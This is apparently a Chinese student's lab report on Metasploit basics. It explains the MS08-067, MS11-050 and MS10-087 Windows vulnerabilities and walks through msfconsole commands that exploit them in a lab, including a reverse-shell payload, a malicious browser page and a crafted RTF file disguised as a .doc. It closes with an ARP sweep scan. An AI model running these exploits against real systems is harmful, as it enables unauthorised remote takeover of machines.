• 20145218张晓涵_Exp5 MSF基础应用


    20145218张晓涵_Exp5 MSF基础应用

    实验原理

    MS08-067漏洞描述

    • MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
    • 如果用户在受影响的系统上收到特制的 RPC 请求,则MS08-067漏洞可能允许远程执行代码。 在Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用MS08-067漏洞运行任意代码。 MS08-067漏洞可能用于进行蠕虫攻击。
    • MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。

    MS11-050漏洞

    • 利用浏览器MSHTML模块在处理无效的object标签存在的Use-after-Free,具体原理利用了堆喷射技术。
    • 攻击者利用漏洞在堆区申请大量充满空指令的内存块,每个内存块都尾随shellcode,然后,在溢出时,根据内存块总体大小,修改溢出后的返回地址到这个堆区。此时空指令占了绝大多数,所以一般情况下,修改后的返回地址会在空指令区,再通过执行控指令滑到shellcode。

    MS10-087漏洞

    • SEH(Structured Exception Handling)亦即结构化异常处理,是Windows操作系统提供处理程序错误或异常的机制。MS10-087渗透攻击模块中描述目标的Target信息,针对MOS2003 SP3 English on Windows XP SP3English靶机目标环境,定义了两个变量参数:Offsets偏移量为“[24580,51156]”,表示24580~51156的范围集合。Ret返回地址指向0x30001bdd地址,在名为winword.exe的Word进程中,这一地址开始的指令应为一段“POP/POP/RET”模式的指令。包含Shellcode的变量sploit被填充至名为pFragments的属性参数中,此变量过长导致了缓冲区溢出。
    • 这次实验中,产生漏洞的原因是Office程序在处理某些特殊构造RTF文件时,相应解析程序在处理一个名为pFragments的参数时存在栈缓冲区溢出错误,导致异常发生。RTF文件属于Office软件中Word应用程序处理的文件格式。一个后缀名为rtf的文件在改为doc后不影响其使用。所以,用户收到这样一个恶意构造的RTF文件之后,从外观上无法找出与正常Word文件的区别。该漏洞几乎影响所有版本的Office软件。

    实践过程

    MS08-067漏洞

    • 进入sfconsole控制台msfconsole

    • 在msf模式下查找与其相关的漏洞攻击程序,search ms08_067,可以看到exploit/windows/smb/ms08_067_netapi的信息

    • 输入命令使用该漏洞攻击程序use exploit/windows/smb/ms08_067_netapi

    • 现在,我们已经可以驾驭使用"ms08_067_netapi"这个漏洞攻击程序了,接下来要查找一下metasploit下的有效攻击荷载show payloads

    • 找到我们想要用的payload后,使用下述命令设置payloadset payload generic/shell_reverse_tcp

    • 使用show options查看该payload的状态,show targets查看可以使用的攻击类型

    • 设置RHOST和LHOST和target,并使用show options再次查看payload的状态

    set RHOST “目标主机的ip”
    set LHOST “监听主机的ip”
    set target 0
    show options
    
    • 使用exploit进行攻击

    MS11-050漏洞

    • 输入命令使用该漏洞攻击程序use windows/browser/ms11_050_mshtml_cobjectelement

    • 查看ms11050漏洞信息info,可以看到攻击范围,一定要确认所攻击的浏览器具这个漏洞才可以攻击成功。

    • 按照下图命令设置载荷和地址、端口,然后exploit

    • 靶机浏览器地址栏输入http://LHOST:8080/ms11050然后蹦乱码就成功了。(靶机自己带的IE应该是不可以,自己要重新从网上下一个ie7 )

    • 然后回到攻击机可以看到一直发送exploit,之后等他停下来的时候就可以获取sessions

    MS10-087漏洞

    • 按照下图命令配置

    • 去标黄目录里把生成的.Rft文件拷出来到靶机中,将后缀名改成.doc,然后运行

    • 如果找不到文件就用简单粗暴的办法

    应用辅助模块

    • 创建msf所需的数据库service postgresql start msfdb start
    • 启动msf
    • 输入命令进入模块use auxiliary/scanner/discovery/arp_sweep
    • 按照如下命令设置
    set RHOST 192.168.29.0/24(查看自己电脑的网段)
    run
    
    • show options一下,查看设置成功

    • 开启扫描发现了别的ip地址,试了一下,发现能ping通192.168.29.2

    • 用nmap进行扫描

    实验后回答问题

    • exploit就是扛着炸 药包的运载工具,利用可攻击的漏洞,把payload这个炸弹给运过去,encode就是其伪装,为了使它俩不被认出来。

    实验感想

    这次实验唯一的感想就是,我的电脑太慢了,然后写了一晚上的博客最后生生的被卡死的电脑抹掉了,赶在图书馆赶我的最后一刻上交的博客,这是一晚上跟各种问题,各种卡顿奋斗的胜利结果!实在受不了了,打算更换内存条,希望下次可以不要因为卡浪费那么多时间。

  • 相关阅读:
    Error resolving template,template might not exist or might not be accessible by any of the configured Template Resolvers
    springboot中参数校验
    springboot中参数处理
    springboot整合thymeleaf手动渲染
    java.sql.SQLException: validateConnection false
    Caused by: com.mysql.cj.exceptions.InvalidConnectionAttributeException: The server time zone value '�й���׼ʱ��' is unrecognized or represents more than one time zone. You must configure either the serv
    springboot项目中使用设计模式一策略模式
    ubuntu18.04系统桌面很卡 换回16.04桌面
    C++中void和void*指针的含义 (指针类型的含义)
    c++ 派生类的构造函数 与 基类构造函数的关系
  • 原文地址:https://www.cnblogs.com/senlinmilelu/p/6690782.html
Copyright © 2020-2023  润新知